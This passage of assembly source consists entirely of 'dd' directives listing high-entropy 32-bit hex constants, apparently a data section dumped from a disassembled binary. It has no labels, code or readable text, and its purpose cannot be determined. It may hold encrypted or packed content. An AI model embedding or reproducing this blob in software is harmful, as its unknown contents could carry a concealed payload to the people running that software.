		dd 0A87F7EE9h, 581708C3h, 0D65E45FEh, 6103D857h, 52F92D41h
		dd 0B3380961h, 4E88BC4Ah, 0BEA457BCh, 53109AA6h, 1BE293BBh
		dd 6075CD4Bh, 581F8B57h, 12BB3703h, 3540F3E9h, 2179CFBFh
		dd 649C9030h, 0C2AD3A38h, 4104DFD8h, 4F08D0C0h,	35377C63h
		dd 0A8242E83h, 0A9AD8674h, 0CAC60265h, 296AC222h, 0C38675Fh
		dd 0EB2D43FFh, 17C5290Fh, 239F650Ch, 3C65AD1h, 0F644EECCh
		dd 875B4478h, 7DAA2D12h, 0D27B7201h, 52A8255h, 90FE3C38h
		dd 7053E543h, 4521FA03h, 0F94DDDF7h, 0D32244E1h, 4E316810h
		dd 317727BCh, 195129Dh,	0DC5102BBh, 47D7C07Eh, 4300636Dh
		dd 7232E381h, 1287700Ah, 0D099E9CBh, 572CC532h,	0BD18E328h
		dd 8D8C835Eh, 0B68D0BB1h, 5B8C28C8h, 0C0185FDEh, 0A1E406EEh
		dd 84B324E9h, 0D00B6FC8h, 0C9810540h, 3015190Fh, 8AD76455h
		dd 217439FBh, 3A7F2525h, 0CC921ACAh, 3E4F3292h,	4634A78Ch
		dd 0B86175Ch, 47ABCB60h, 0BC445A06h, 0AA604DEh,	0D801A13h
		dd 131E2DCFh, 0C2D8E936h, 0F1775F43h, 0D045E294h, 12B1B6A0h
		dd 5309D1F6h, 0F5FE26B3h, 0C0F88F03h, 855CA09Ch, 0D6DC6BE9h
		dd 29494F8Dh, 98822E81h, 1EB70EDh, 802F34B9h, 70E1D12Ah
		dd 690BC9E2h, 871C906Fh, 0FF09195Ch, 1F0AA44Ch,	0B1360762h
		dd 95899E1Dh, 5FE8D764h, 0DD2860E9h, 0E0CF72Ch,	0C46936Fh
		dd 9E4C048Fh, 0B2EF895Fh, 6BAD936Ch, 120F717Eh,	8A5705B5h
		dd 0EE9740DCh, 0AD1D3D02h, 80CE013Ah, 654EDDB1h, 0C7E9172Fh
		dd 0B4E8D1E2h, 0E2B80502h, 58B5A0D8h, 402ED825h, 0B876427Ah
		dd 0D778205Dh, 0FDB15A77h, 4FB28D0Dh, 68C59928h, 3E4BB16Dh
		dd 3D352E9h, 927686Ah, 0A5E2EB84h, 0F0755CA2h, 0BEB43809h
		dd 0C2F58E40h, 0F0CD8F1Ah, 53EB5E5Fh, 6942A135h, 933B23Eh
		dd 0D0D5CADFh, 0E0C607CCh, 0C28C1878h, 48755EF1h, 2D4DD5D2h
		dd 3C5E7FEDh, 79EA0720h, 70D11900h, 5361F42Dh, 0E9F49564h
		dd 16EFC8C5h, 1A40B324h, 68A01774h, 2F763E93h, 0EA545945h
		dd 75A0DF27h, 44A2F136h, 0E181894Ah, 0A66EF7DBh, 6EE4D2E7h
		dd 79300AB8h, 118520CBh, 7C65434h, 2A6F561Fh, 32F47356h
		dd 132D05D8h, 0EA129E35h, 27416D99h, 94607D9Fh,	5288B529h
		dd 4C782F08h, 4B0BA64Eh, 0E60402B0h, 0CF0902EAh, 98004950h
		dd 5611046Eh, 357AB5BEh, 0D45631A2h, 0CFD3EF9Bh, 0E91D16B7h
		dd 0EF6692CFh, 655DB760h, 6AE4AC0h, 6CE9946Fh, 0EED41AF4h
		dd 0BF8DC496h, 172ACF9Bh, 0E5EAEC0Ah, 6F484841h, 0A9426B05h
		dd 36987DF1h, 0EBC60B6h, 76B4CC3Dh, 6F52BCA1h, 84AFE512h
		dd 0C7B1C3B0h, 0CE9580CDh, 0E2CF303h, 910794Bh,	0E8215809h
		dd 809CEA7Fh, 0EAB0C441h, 7652976Eh, 0B3941E4Ah, 512D9DA3h
		dd 892043ECh, 9D45E0DDh, 697B3218h, 8172EC00h, 0EA0D4DF3h
		dd 596C94Fh, 80DFD228h,	0E1B25253h, 305AF9B7h, 0E90BF6B9h
		dd 1877E49Dh, 92E047EEh, 151E2EAEh, 167BC225h, 3C5E3D5Ah
		dd 0E23FCC91h, 2DEEC96Bh, 1F609624h, 169DBF57h,	0B733051h
		dd 534B6F68h, 6107462Dh, 0BA705EADh, 0CC4917CEh, 5256A803h
		dd 0AEA070Bh, 616F17FEh, 1596845Ch, 985856Bh, 8C70C43Eh
		dd 971C797h, 44D4E1ECh,	0C0685860h, 0DE9B9741h,	4E1F2AF0h
		dd 0CD0BD598h, 7FDB8226h, 7CE95881h, 35637EAAh,	57B34BB3h
		dd 0F5ECA50Ch, 0B8C43BFBh, 133C8BAAh, 0EDE35B5Eh, 72FAE9C2h
		dd 514B9690h, 5C1C6225h, 9FCE1E86h, 6A89EDC4h, 13C5A0DFh
		dd 0DF75E318h, 2C638422h, 0F184B842h, 0F56243C5h, 0B03EE012h
		dd 340BF550h, 0C3297A02h, 5412A5C7h, 871194ABh,	0AE01958Bh
		dd 6EE5DCDCh, 96C1532Dh, 93091F6Dh, 950F5A0Ch, 0E6F6417h
		dd 244B75B9h, 0AD84AADAh, 16C3CEAEh, 0E9E72AD5h, 0EA5FFE13h
		dd 0E6F2CE61h, 18EDF904h, 5DE718B8h, 7BEE88FDh,	0AEF61526h
		dd 0F074D825h, 5FDF4810h, 0D011D118h, 1F622568h, 55E5033Bh
		dd 0A58992FBh, 0EFF72230h, 0B5AC4106h, 8C5094B8h, 6F104148h
		dd 0AACAED0Bh, 3C0CE989h, 0FC689E2h, 44A07BF1h,	10540169h
		dd 4926066Fh, 5CE70E27h, 470E967Bh, 0C0D7F724h,	0A692679h
		dd 0C7F04D50h, 0B2633305h, 74E8B0E9h, 0D0A45D3Dh, 70C50221h
		dd 1DE06815h, 3A3B7E62h, 9CD0532h, 0C7F03F25h, 392C18CCh
		dd 2F46243Ch, 4560E618h, 73B2430Eh, 0B639F9Eh, 48BC298h
		dd 0C9E9F1BDh, 42AFDEFEh, 22B07D03h, 150568C5h,	0D5016203h
		dd 57A563FAh, 3064FEB1h, 46BDE823h, 2D68E8D8h, 0D4423AC8h
		dd 948FB57h, 0B2F5CA01h, 1FDF584Ah, 6D6FDDB8h, 2CF73341h
		dd 75054E39h, 0E5CD9DB3h, 4C8A6129h, 2D9A0F3h, 0BCBEF181h
		dd 0B780F486h, 471D7EB6h, 43E60CC0h, 4E293C0Ch,	0B92620CFh
		dd 0A83D0E58h, 9CB22604h, 34A92992h, 7625D002h,	7FA9F724h
		dd 0B309C0F8h, 622B8562h, 0D60040BBh, 381A253Ch, 83E08D5h
		dd 151E5D18h, 3ED23F4Dh, 4B5AF3B4h, 1A74EB08h, 0E5776502h
		dd 5A0615Ch, 0F11D1372h, 749A4F62h, 94E65F65h, 3227BF00h
		dd 0FCB36965h, 7D950710h, 0F631DF26h, 0D32669CEh, 0C468A49Bh
		dd 21ECA5E9h, 7B002D28h, 11C2755Eh, 0FB407721h,	0DD82EE84h
		dd 6FE1F606h, 9149484Bh, 0BE85A3Fh, 7BAE0A21h, 1D47197Dh
		dd 17E91586h, 80172822h
		dd 0BB8E0EEh, 0E9A8CEB0h, 5F25C85Dh, 0D14A7EB2h, 3DD41E1Dh
		dd 0CEEB93CBh, 27444828h, 29940437h, 0D8970ABFh, 492DE017h
		dd 385FA45Ah, 13071E10h, 0C2840BE9h, 69F9A6AAh,	964E7F4Bh
		dd 0E923B0B7h, 108277Eh, 3D05245Dh, 0D1F83694h,	84A3B893h
		dd 0C100DE7Fh, 116802E2h, 840F7A5Dh, 6391B728h,	73556F12h
		dd 422F4CCDh, 8D57A21Ch, 0F93E1F40h, 13FDB980h,	0AF2D4E33h
		dd 0D0D460C9h, 0F37BB5A1h, 4DE8AEBDh, 0FDF58087h, 3B14EB83h
		dd 68893110h, 32314ECEh, 2EB2C94h, 581279B8h, 0B0095761h
		dd 0AEC4E8FDh, 5B2B257Ah, 16FC8310h, 93DB2828h,	2286F24Fh
		dd 8AF49585h, 0DF2C5079h, 0BDE80913h, 99B3C5AEh, 0B2BF6AD4h
		dd 95035B55h, 10157E68h, 33E88529h, 0C9528AC0h,	5234F74Eh
		dd 3F1E3ABDh, 368BA0Fh,	1682B817h, 0AEC018E9h, 79B1D8B2h
		dd 0F528E58Dh, 28F83379h, 6F875A70h, 0A96D35A5h, 0D2F712DBh
		dd 7EEAC10Bh, 685080E3h, 0B3C64C3h, 49FB5B97h, 5FD271FEh
		dd 8DE2227Bh, 0E374C81Bh, 83A9805h, 44165B72h, 83F3818Eh
		dd 0CAB49FB3h, 0E7CA83DFh, 0C5CFE002h, 3937FE74h, 0FE2CF787h
		dd 1008365Fh, 0F5CAA0C1h, 0E06B01D4h, 0FC0CBB02h, 5A41D97Eh
		dd 1ADD3FE9h, 5328BB5Ah, 0A75A6B0Ch, 0B06092F8h, 9123EBE7h
		dd 97C07D2Bh, 31A7E682h, 87BC5D05h, 4BCBBAA4h, 963B2B1Ch
		dd 0D9CF0136h, 3AC9D4C4h, 58ED85A4h, 192DC394h,	80A96CAh
		dd 0D1F05A34h, 9F13E92Ah, 81E2D100h, 0EE3606EAh, 8960BF27h
		dd 2FE73B80h, 5E228FA0h, 911CAF7h, 0C66FFE68h, 63B50293h
		dd 0EEE948BBh, 68A807D5h, 66E774A9h, 0D680CC81h, 0E9261DD0h
		dd 0F0AD1AB6h, 64A727A5h, 82866FECh, 11E9E812h,	352F9A0h
		dd 0E2808EB2h, 39BC0F8h, 878687F1h, 0D831AD1Ch,	52BEE482h
		dd 0C79D38FCh, 3E01285Bh, 2AF02108h, 55D40C29h,	630BC11Bh
		dd 6430BF2h, 8049CD99h,	629435BCh, 0DC9E603Eh, 0AE7317Fh
		dd 0C587A854h, 9244D0E5h, 0FB342EBAh, 4AE9DB28h, 51F30A9Fh
		dd 0A859C8Fh, 14B717B3h, 1F4C07F5h, 2C0DE9B1h, 0C5592D97h
		dd 0E37825F6h, 476C4227h, 175A12A4h, 0D6B5B916h, 0BBE21BEh
		dd 0F17FC244h, 0C2818016h, 3B3F595Ch, 50F20101h, 8945E957h
		dd 7B12A76Fh, 0F512974Eh, 681701E3h, 948A391h, 21B13AE9h
		dd 0F75BD997h, 0F85156CCh, 0D5D84B5Eh, 490ABAEBh, 8889C4DDh
		dd 0C0B58AD3h, 6B66880h, 4C5A4FA5h, 0EF10B052h,	825925C2h
		dd 5A5E080Bh, 5A29A164h, 136C5C20h, 0E4A8B5E9h,	4140C185h
		dd 0E1E4C15Fh, 20778850h, 6E5CDA8Bh, 0D0CB5ADEh, 37D4F61Ah
		dd 6CC1CDC8h, 0A6309905h, 0DF82CD01h, 5DECCAE0h, 78B3F501h
		dd 51532DB5h, 6FE97113h, 0BA4E1DCBh, 212B822Dh,	5F89ADAh
		dd 0ABCCE2B5h, 32E27D88h, 311AFCF1h, 7F80625Ch,	55A5354h
		dd 0A0F777Bh, 2DD0010Dh, 1FD72607h, 3AA0E0EDh, 0DE24028Dh
		dd 51029217h, 0D1B1926Dh, 14D727EAh, 90E91589h,	0B340D946h
		dd 5B641375h, 4ED0FC09h, 126131F4h, 80D49371h, 205468DAh
		dd 0E9BB3ABCh, 41C8F4Fh, 29BEA851h, 85AF7923h, 1BD1E1E9h
		dd 986A1D68h, 5505463Ah, 0CE01446Eh, 58B75483h,	0D172939h
		dd 4D5CCC7Bh, 8709F99Eh, 0C76260EFh, 0E45B13B6h, 6BB8A1D8h
		dd 40536082h, 0B77E4377h, 0B4F56493h, 0B4E9E19h, 3743CC30h
		dd 0F86466AEh, 0C29F0D47h, 0F36C4C94h, 5968AB48h, 0E9090832h
		dd 7620F639h, 0C78059CFh, 5249377Bh, 6EF14B96h,	6C5C06B0h
		dd 7E58B625h, 5CC70502h, 9601187Fh, 2FF0784Ch, 3B4A642h
		dd 1A024759h, 3A7740DEh, 1FA87921h, 6805204Fh, 3E187A43h
		dd 0FDD05183h, 2925FF9h, 0B17AC707h, 9C3640F5h,	38CF0443h
		dd 0F313D2E9h, 243179DDh, 5EF1E595h, 0C185C331h, 0D83A4668h
		dd 5FC540F7h, 381D921h,	7FC2010Ah, 0C63F3E4Dh, 43F18103h
		dd 5F98320Bh, 9A95CB89h, 2B837F74h, 7D023C29h, 501944AAh
		dd 0FFCFC35Fh, 71497C19h, 0B5073F9Dh, 0FE26F731h, 0BDF9F608h
		dd 0C9067952h, 19331A23h, 0ACE40280h, 0CE29D35Fh, 67235AD5h
		dd 0A4538B54h, 2AC7B1ACh, 5056E002h, 0C5BFE052h, 4E80FE0Eh
		dd 1ADFD0EEh, 7F5E234Dh, 460CD500h, 69E97509h, 59693CDh
		dd 6401A2B0h, 0E96ABC3Fh, 0D764FCB0h, 0E1BB1F53h, 9B62C7Eh
		dd 3A5DE367h, 0D3820CB7h, 0E9D55BF6h, 46EA0ECEh, 0F53F7E28h
		dd 9858593Eh, 0F71AAFCAh, 3A7F702Ch, 654C04D0h,	46F6989Ch
		dd 0B90E5143h, 3F2B5E5Bh, 6408C009h, 68530CDEh,	447B552Eh
		dd 0C287249Eh, 7FE439BFh, 0F2C1B9C0h, 0BEB563ACh, 528A1D92h
		dd 6651A7E2h, 39F12944h, 0F75A1302h, 72C356A0h,	5D5E36BAh
		dd 0FC5A4DF3h, 743658A7h, 0EF09C760h, 4F22EAE9h, 0E782EC01h
		dd 2F93FF3h, 4053C3A9h,	5A7D77D2h, 788A01A0h, 4BE94FB9h
		dd 9EA22F2h, 0B072BB68h, 0F6610A08h, 12E92E0Fh,	0CBB78EA7h
		dd 897DCAECh, 315AD701h, 5E525FFAh, 0C08DC07Fh,	7D5A2167h
		dd 65124012h, 5B5D12F0h, 0C2C2175Ah, 115B47B1h,	25889B08h
		dd 0CCFF0EC2h, 0C0F5BC1Eh, 3CE2757h, 0ED488EB8h, 0D2200F6h
		dd 541D703Eh, 2DD092Dh,	9754A80h, 751C57D5h, 0E1E0FE95h
		dd 6E79D168h, 0E90A79CBh, 0ADDFBF15h, 2E797E91h, 71EA1985h
		dd 33B4DB03h, 7AF778B7h, 0D1A06D16h, 9CD74E5Ch,	534B66BAh
		dd 4502CE85h, 0C03F5485h, 52FF1EBh, 870A012Eh, 860AEEF9h
		dd 5819F1Ah, 96B5FD10h,	93B9E370h, 0A7680500h, 0FF188C36h
		dd 2281BB2h, 71BDC521h,	9D0EE669h, 0A568AD3Eh, 252F6607h
		dd 27664A27h, 23558B09h, 4A117107h, 771E02D6h, 87DF619Bh
		dd 1846E5Eh, 820765EBh,	0AA746925h, 92AEA62h, 0BC051184h
		dd 0EE011361h, 72380A43h, 0EBC1C061h, 0C02DBE02h, 147C07E1h
		dd 80033DFFh, 646DEB81h, 9680FDD4h, 4BDC2E60h, 829FC6E9h
		dd 60FE89D6h, 9E6D0DABh, 0C4E38B0Ah, 0D5FC6527h, 4B6BACE2h
		dd 0D40B67BBh, 0BB06D006h, 612F3B9Fh, 80A9FC6Ah, 967767C3h
		dd 1D31E971h, 0B4EAD78Bh, 0A673AEFDh, 0A00B182Dh, 0AA25B077h
		dd 0ED33C148h, 2C9E6A19h, 65370497h, 88AE3A98h,	79286150h
		dd 0E928CA6Fh, 5C978E5Dh, 3413B15h, 0FDF252DDh,	0A01C55EBh
		dd 0C3C28106h, 0DD26086Ch, 0D15D7060h, 34D14B8h, 4E9F78ACh
		dd 5863A191h, 6980BB04h, 0EBF418BBh, 6909C016h,	0F01A011h
		dd 120D825Bh, 0CE0F5F03h, 5B91E620h, 0E9173BE7h, 28FEEFCBh
		dd 434FD286h, 0EAD2D3A2h, 0C7E9C8D0h, 4497A4C5h, 0D1390130h
		dd 33598F31h, 2B0E7242h, 0CAEF1274h, 0A8E9C464h, 91408E8h
		dd 512FD6F2h, 0A3FE8844h, 938A274Eh, 8B15074Fh,	0E55D0B2Dh
		dd 5CB90125h, 3D63D665h, 282350B0h, 0A473D53Ch,	0C9014CE1h
		dd 652464Bh, 0BAC04F32h, 7CCF40ABh, 7C2F35B4h, 0FFBD09BCh
		dd 5A60971Ah, 2214C268h, 0EB20A48h, 777B5CC3h, 34EBAB00h
		dd 9D2D1308h, 14BBA1E0h, 0C5F02880h, 0FE214DBCh, 9830162h
		dd 2CA44757h, 17D90806h, 6651960Bh, 0E8595ABAh,	5DE67BFCh
		dd 0B37E83EDh, 0B0412E5Ah, 306DD2CBh, 680C6129h, 58618C48h
		dd 5464DDA3h, 3B36DA90h, 4683EF53h, 50A34C88h, 4F6A0AF0h
		dd 7E099DDFh, 444F94DEh, 166264Ch, 73986852h, 955A3BCCh
		dd 0F2817FE0h, 4925CB01h, 0E9D08919h, 756F1CF1h, 0BD095649h
		dd 1FC9853Ch, 9AEEC190h, 86323929h, 242F7AD9h, 0B905B5D0h
		dd 2F1C0FB7h, 2CEE86C2h, 0F90BF796h, 0C658E868h, 8D9B3014h
		dd 6049EB7Dh, 80712827h
		dd 77B105BEh, 0CCD25C64h, 81014A49h, 23018FE7h,	0E590200Bh
		dd 42B9F195h, 6CFD0814h, 0AC335C1h, 0FCD4ABC3h,	0D211B7FEh
		dd 67F634B8h, 0E12AD1BCh, 5B59DFFEh, 58722756h,	11539D1Ah
		dd 0DDFF8BC4h, 0E6D54020h, 204A3B77h, 8FF10EAh,	0B20E35Ah
		dd 5D34B6E9h, 3C5FEB34h, 43823E95h, 0C030FCD8h,	78022163h
		dd 9F403AFCh, 8365BF5Ch, 0BAA2FD25h, 9CA2F823h,	4C0FD37Ah
		dd 0F6590B75h, 0FCE05E46h, 1119A263h, 52D835Fh,	0C77872A1h
		dd 12F5F1A3h, 0ED0DB334h, 5CC612BBh, 0F91095F3h, 2D683E0Ch
		dd 56EC9841h, 83858275h, 0E817EFD9h, 673E3929h,	6887FCA1h
		dd 659C76Bh, 4B59356Fh,	0EFF567E1h, 245091E9h, 6C18077h
		dd 0C1FE15C9h, 2DE5F1E0h, 2813C830h, 0BD8405ABh, 14FE01B1h
		dd 0CD890F16h, 0A62544F8h, 0A4719DC1h, 68295A0Bh, 95421F8Fh
		dd 9D81D7EEh, 52484208h, 7D5412C2h, 85FB8993h, 6BB0082Dh
		dd 52EC5E25h, 110AA02h,	5E3455D9h, 542FC0A5h, 1C126381h
		dd 2B2E2F9h, 2C0C0768h,	177AD761h, 5BDE8817h, 0F0309D05h
		dd 9214D8BBh, 0BC3BFC41h, 10C50694h, 4AA074A8h,	0DB78BF5Ah
		dd 0B15359FEh, 0F017D552h, 40BA611Ch, 0C2673A37h, 0BF011894h
		dd 2045624Dh, 4950F79Eh, 37ECE906h, 1305409h, 89488F9h
		dd 0CEEB5F13h, 0F3E91248h, 0A62D1252h, 4741D340h, 1545487Ah
		dd 9C58CF00h, 0C3E94D1Ah, 6192355Fh, 7259DDE3h,	0FEA12D80h
		dd 981D2B9h, 7B191CC5h,	0D070078h, 1464C7Eh, 826857C2h
		dd 7002E908h, 805B0B80h, 6E87B9F2h, 58C721D0h, 0A4F7E85Ah
		dd 9D3DE910h, 96195D3Bh, 0B8B80C4Dh, 0F8290DD7h, 69FC3289h
		dd 0A32197C3h, 0EEED55E8h, 21CF0D7h, 995244EEh,	88DD293Ah
		dd 5F1308AFh, 486E8EAEh, 6D174AB9h, 0E9D63CEFh,	0AB5A635h
		dd 0BBA425A8h, 2395FEE2h, 0EE931516h, 59208429h, 2D3414D7h
		dd 1204F21Dh, 0B963FE7Ch, 0B7360C61h, 4B34DC2Ch, 0E37E8C54h
		dd 926FEE4Dh, 703D2FA6h, 0D1AACDCFh, 96FE6C59h,	0CABEBCC4h
		dd 2AE98378h, 0C0184B5Fh, 0B3F68125h, 22044213h, 2CA1DF00h
		dd 37E96B60h, 6F2991CCh, 4D0FE4F2h, 0A680B717h,	3D48BA08h
		dd 6E65F8E0h, 0E0A1548Ch, 12FF6CC8h, 4400CE87h,	749C5EE5h
		dd 0B8639709h, 5FA0C9DBh, 8932E92Bh, 7DA4E198h,	6A971546h
		dd 617542EEh, 50037A1Fh, 4886F05h, 1AF128D5h, 0D2AC0704h
		dd 10C6F6A5h, 0B80249DCh, 58337DA6h, 7B60394Ah,	0CC2C825Ch
		dd 3F02E8A7h, 7859AF35h, 83D3AEFh, 38798CDBh, 44D40A52h
		dd 0A24025DDh, 91CD0E87h, 0CA76D0F7h, 836809EAh, 6BD66475h
		dd 5341F65Dh, 15C4859h,	25FBD04Bh, 7E81BFCFh, 0D465DDE9h
		dd 0A87DC43Ah, 10D168Ch, 1A9CCBBEh, 55109E1Bh, 2CF31EE0h
		dd 18723902h, 0E45BDA89h, 0FFE21EABh, 421AC93Ah, 6B803CD4h
		dd 299C57D3h, 8489D0D6h, 5E4F6036h, 0FA57E4FDh,	0EC826ABEh
		dd 5049DDF5h, 0B1644A64h, 28613F77h, 52166FA0h,	2A5A543Dh
		dd 0B909A62Ch, 0F7253829h, 0C76DCE00h, 512C0339h, 0C40DD95Dh
		dd 0E93AE616h, 94F4E5AFh, 0FB864450h, 1C5A5F7Bh, 71566BBh
		dd 16CBE92Eh, 78EB8087h, 5D5EC307h, 1FB45047h, 0D7A5C4B2h
		dd 0B15196C0h, 28AA8C4Bh, 9717B32Eh, 13F0D908h,	0B75304D1h
		dd 0D46AE967h, 0FF1EAE70h, 40BED313h, 0A010953Ch, 42505A5Bh
		dd 2EE902C4h, 32717F0h,	0E916E804h, 6927EB9Ah, 60B4C0CBh
		dd 91BA9D21h, 68614055h, 0B7177086h, 0F251B674h, 7CA6DD01h
		dd 4006C62Fh, 0ACD55C21h, 0B0176D20h, 48FB28FFh, 689DA12Dh
		dd 6096542Dh, 0E8C0E0B0h, 0A05ED4CBh, 35685B75h, 6D94BC1Bh
		dd 0D1648E83h, 5A596088h, 5FAFE95Bh, 4AE2A3CEh,	5502FFCAh
		dd 0A5E1E954h, 58C50EC8h, 8420ECBCh, 34B0F829h,	0AA409802h
		dd 93BA7FCEh, 13A472D5h, 269C17E9h, 0BD077FA4h,	8FB7FBFh
		dd 6DB05AF4h, 96C13C80h, 24F46E1Bh, 351EE6BEh, 593221Ch
		dd 2FFD99EFh, 6F48D0F6h, 5289A44Ch, 2444CD77h, 6F2249C7h
		dd 8100F7A8h, 3B31EDE5h, 76753D26h, 1D062F84h, 43083DF6h
		dd 0D61A30F5h, 63605174h, 5329AF0Ch, 90014E92h,	8C702485h
		dd 42E9140Ch, 5D334D9h,	196850E0h, 0E83444Eh, 543109FBh
		dd 887C09AEh, 0FAB16DC6h, 38D02109h, 0BEEA7499h, 0BA164920h
		dd 40D88048h, 0FDEB28A5h, 0F916A7A0h, 78FFE20Ah, 5625707h
		dd 0DEA5A6D8h, 511E2D94h, 8E7986DCh, 22208625h,	455F6CA8h
		dd 2496866h, 0BFE95B44h, 49E380D8h, 13EE102h, 5072E9EFh
		dd 0D4BB0458h, 0AB1D2F06h, 0EB369FC7h, 0D064209Eh, 4774B800h
		dd 0CD055771h, 6349245Ch, 4624310Eh, 0D8F70031h, 66D60B2Dh
		dd 0FC783FF2h, 74F1CB2Dh, 8A0EC27Bh, 29625DD9h,	8EFA41DAh
		dd 30649D3Ah, 0F160A0A9h, 14D9C6C3h, 844F48E3h,	0F1BFC220h
		dd 0CD0208E3h, 3E18BB01h, 68600C10h, 412116E6h,	4397A1F0h
		dd 22812B1Ah, 71183FF1h, 2E021256h, 2D0B39E8h, 72CB6C40h
		dd 0D837EF2Ch, 0FB20D801h, 1A8E4649h, 0CFE1FFDBh, 0CEE9F129h
		dd 6812C3D0h, 0F2CF2060h, 41B3E840h, 45D288C8h,	526618E3h
		dd 0AC30EEDh, 0F92D33C6h, 857629EFh, 0C902B51Eh, 0CED1F59Fh
		dd 8A7C5B82h, 0EAA35D2Eh, 5A205256h, 96F2B52Fh,	7CD81927h
		dd 1D34593Bh, 53C1A32Ch, 3A697B68h, 44076CCCh, 0BEA1E06Ch
		dd 0F74D02B6h, 6326B08Fh, 5A12D347h, 0BF09D6F6h, 0EC8922A7h
		dd 43215144h, 0F594E288h, 0A14320EDh, 0F751AEB4h, 0EB1D21F4h
		dd 4FD29D51h, 873322Eh,	68FD21FFh, 4CD33E92h, 4805615Fh
		dd 442A88E9h, 0E45719D0h, 6EE1408Ch, 667974D9h,	0F9F76609h
		dd 0E3BFC802h, 0B7E56455h, 18C68778h, 22A97F41h, 0D4F61C68h
		dd 78A2924Ah, 0CB3B44DBh, 0E4C592C3h, 0CA87BDD1h, 8314456Ah
		dd 0F2D200C2h, 983DA3F0h, 67F0314Bh, 7F7039E1h,	26342F2Eh
		dd 0D8A70251h, 0ABDE5155h, 2B1788C2h, 0EB035EF4h, 76D2E8E9h
		dd 0D18D27ABh, 78A3ADDDh, 0C141D9C8h, 0F8F62556h, 0BCD381Fh
		dd 6213E955h, 35F39162h, 0AA56126Eh, 0E51D399h,	1EA78F77h
		dd 5F723E5Eh, 98BE679h,	12CBB0D7h, 711A2C3Eh, 39520026h
		dd 642D5A31h, 0E9EED5EAh, 0E0D4562Ah, 0D33A832Dh, 0A8E48BC7h
		dd 8292C290h, 0C0EFBA25h, 812F2E45h, 5B80A55Fh,	0FEA53FD5h
		dd 0D15CC785h, 4A082D9h, 0B545B0C1h, 46C47382h,	0FF527DEh
		dd 0EE380365h, 1CE7B020h, 81405E37h, 0A50618B9h, 0A05EF80Ch
		dd 0A94EE914h, 0B42F58F4h, 11F29406h, 9BBED4Bh,	96F7F85Ch
		dd 3342BFEDh, 0F4B3C5D8h, 7A31E961h, 16C723Eh, 7E20E17Ah
		dd 13BE7ACAh, 804B2F6Eh, 2DE45E1Dh, 0BD3E60BFh,	0A6B69958h
		dd 6ADF0A24h, 9CC5A509h, 0D095017h, 20A27987h, 0F9DCB5E7h
		dd 5B84E667h, 5A2739F2h, 598319FFh, 0CFBAE54h, 0CB425386h
		dd 27685C80h, 0E84D750Eh, 1493E904h, 5D144DE8h,	0ECF41515h
		dd 46E1B47Ch, 0E985CC22h, 5CBCBBh, 0C6299B2Dh, 6FCE684Eh
		dd 0A1D21F73h, 0FED86B35h, 145CB557h, 0DF08BE42h, 1041BB12h
		dd 0C16602D5h, 5FE57744h, 0BAEC017Fh, 0BB5006C2h, 5B472536h
		dd 62050825h, 4D2F70Dh,	0CC307942h, 27EE72E5h, 3F40C834h
		dd 734BFF68h, 0F4E55FBCh, 4B62DA87h, 2437B8A7h,	172DE23Ch
		dd 0D789A9A2h, 0C20CF36Fh, 0DD2973E9h, 3B6A813Ah, 0F3DA6D63h
		dd 0C0CDFE00h, 7E0573E5h, 0DA805CEDh, 0E9EC8805h, 5A3BB0D8h
		dd 36FA3032h, 0F3E17049h, 0B1482736h, 0F8C59F12h, 16EFA1B6h
		dd 25C6CD88h, 0DA89461Dh
		dd 82415404h, 8A6CFAB3h, 607F0377h, 0C0CB2851h,	0BE7220B0h
		dd 4AFE317Eh, 55390967h, 0F947E52Fh, 17107EF9h,	8065A1Bh
		dd 90F3943Fh, 9DCAFEC9h, 0F3213D82h, 0D20E24F8h, 0C0C17FDCh
		dd 0C954D5EAh, 10015A5Ah, 0FA5108AEh, 0E2206FFh, 1E62D22Ch
		dd 3E241870h, 5D939735h, 98DDBAFh, 46EEFDE9h, 4A810054h
		dd 0B9512E29h, 120F1DC6h, 0C44C0152h, 0E7FC5908h, 39802D86h
		dd 0C5E60BB0h, 0F7208398h, 0F02EF342h, 5B654C97h, 9384F327h
		dd 6FFFDB1h, 354976B6h,	6EC1C614h, 6ADC0FD6h, 5C21E42Eh
		dd 2EEB16F4h, 615DCA82h, 0F33BF3CEh, 39281725h,	4A7856F2h
		dd 3079F9F0h, 47952DFh,	0E6454CDDh, 6314CA00h, 0F3BA5202h
		dd 2A5E7C7Eh, 0CFCD9CB1h, 0B049044h, 21EB3159h,	193A07h
		dd 79E6C15Bh, 3D769F05h, 692EF127h, 6769548Bh, 3A1DF7F0h
		dd 79D7515Ah, 8BBB9B56h, 58561Dh, 0A72CDE68h, 4F61E965h
		dd 93F5EC9Eh, 8508C0EBh, 0E79F4DE1h, 0FB680408h, 104DE35Bh
		dd 79777BAEh, 0FEFF1E3Dh, 43CCCBC8h, 0A213C79Bh, 0DEABE7BFh
		dd 89EE218Bh, 0EF949174h, 4597B9Dh, 0CCCE2AE9h,	0EF5D0107h
		dd 76509832h, 6D513F54h, 83F105Bh, 0F167D94Ah, 0B1E5C202h
		dd 0E740DC28h, 9422B55Ah, 20CA833Dh, 3557A05Fh,	5A7D70B3h
		dd 2FC3B1EFh, 0B0E928E0h, 3E6697B9h, 56C06A2Ah,	7AE5C130h
		dd 0EF2345CDh, 17F57960h, 0D93CF0h, 0FA31ED9Dh,	8925B7A1h
		dd 6B0CF9EEh, 60F14A7Dh, 9E8032C2h, 53605AAEh, 45953CC4h
		dd 456A860h, 4BE661D2h,	0C2F680D1h, 9B2E2512h, 4A18F877h
		dd 2FC19712h, 0C378C0AAh, 82D23C24h, 0C712D093h, 49D5D0AFh
		dd 0E7D0325h, 0FF28A92h, 944C4D13h, 0F91705C4h,	0B7B0DFA8h
		dd 610ADD1Fh, 0B76967E9h, 860B57A5h, 0F4AD01DEh, 0A092E4ECh
		dd 0F777885Eh, 7D85D44Bh, 1F89281Fh, 4FDFDE18h,	0A9EA3BE4h
		dd 0E1A72425h, 0DA651BAFh, 27475CE6h, 559A967Dh, 1E7BB530h
		dd 0E8690ED4h, 308AAA16h, 17341B52h, 0CCDB1733h, 79B554A9h
		dd 6F3A6D5Eh, 3EA9A7ACh, 0C11854CAh, 0E4B868EBh, 3FF84513h
		dd 0EA3A25EBh, 0F6BB17D5h, 15A54225h, 8C87E9h, 7C62CE81h
		dd 7296333Dh, 1C2E9048h, 4980828Ah, 0AAC2A0E9h,	8006E2D5h
		dd 4584E709h, 0D604821Eh, 51C61EDDh, 70C1A58h, 48BD6808h
		dd 26A8435Bh, 1CB6BB85h, 929A5D2Bh, 0EE70841Ah,	0E703AD79h
		dd 0EE8F01B9h, 0AF685303h, 5B38E857h, 0F577F890h, 10B1708h
